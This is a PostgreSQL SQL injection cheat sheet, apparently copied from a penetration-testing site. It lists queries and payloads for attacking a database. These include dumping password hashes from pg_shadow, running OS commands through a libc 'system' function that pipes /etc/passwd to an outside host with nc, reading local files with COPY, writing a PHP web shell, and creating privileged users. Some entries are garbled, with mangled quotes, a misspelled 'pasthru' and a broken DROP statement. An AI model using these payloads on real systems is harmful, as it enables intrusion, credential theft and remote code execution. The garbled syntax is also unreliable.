SQL Injections

Version
SELECT version()

Comments
SELECT 1; –comment
SELECT /*comment*/1;

Current User
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

List Users
SELECT usename FROM pg_user

List Password Hashes
SELECT usename, passwd FROM pg_shadow — priv

Password Cracker
MDCrack can crack PostgreSQL’s MD5-based passwords.

List Privileges
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

List DBA Accounts
SELECT usename FROM pg_user WHERE usesuper IS TRUE

Current Database
SELECT current_database()

List Databases
SELECT datname FROM pg_database

List Columns
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)

List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)

Find Tables From Column Name
If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;

Select Nth Row
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c

Bitwise AND
SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0

ASCII Value -> Char
SELECT chr(65);

Char -> ASCII Value
SELECT ascii(‘A’);

Casting
SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);

String Concatenation
SELECT ‘A’ || ‘B’; — returnsAB

If Statement
IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
Case Statement  SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A

Avoiding Quotes
SELECT CHR(65)||CHR(66); — returns AB

Time Delay
SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .

Make DNS Requests
Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user

Local File Access
CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP Address
SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)

Create Users
CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time

Drop Users
DROP USER test1; — priv

Make User DBA
ALTER USER test1 CREATEUSER CREATEDB; — priv

Location of DB files    SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv

Default/System Databases
template0
template1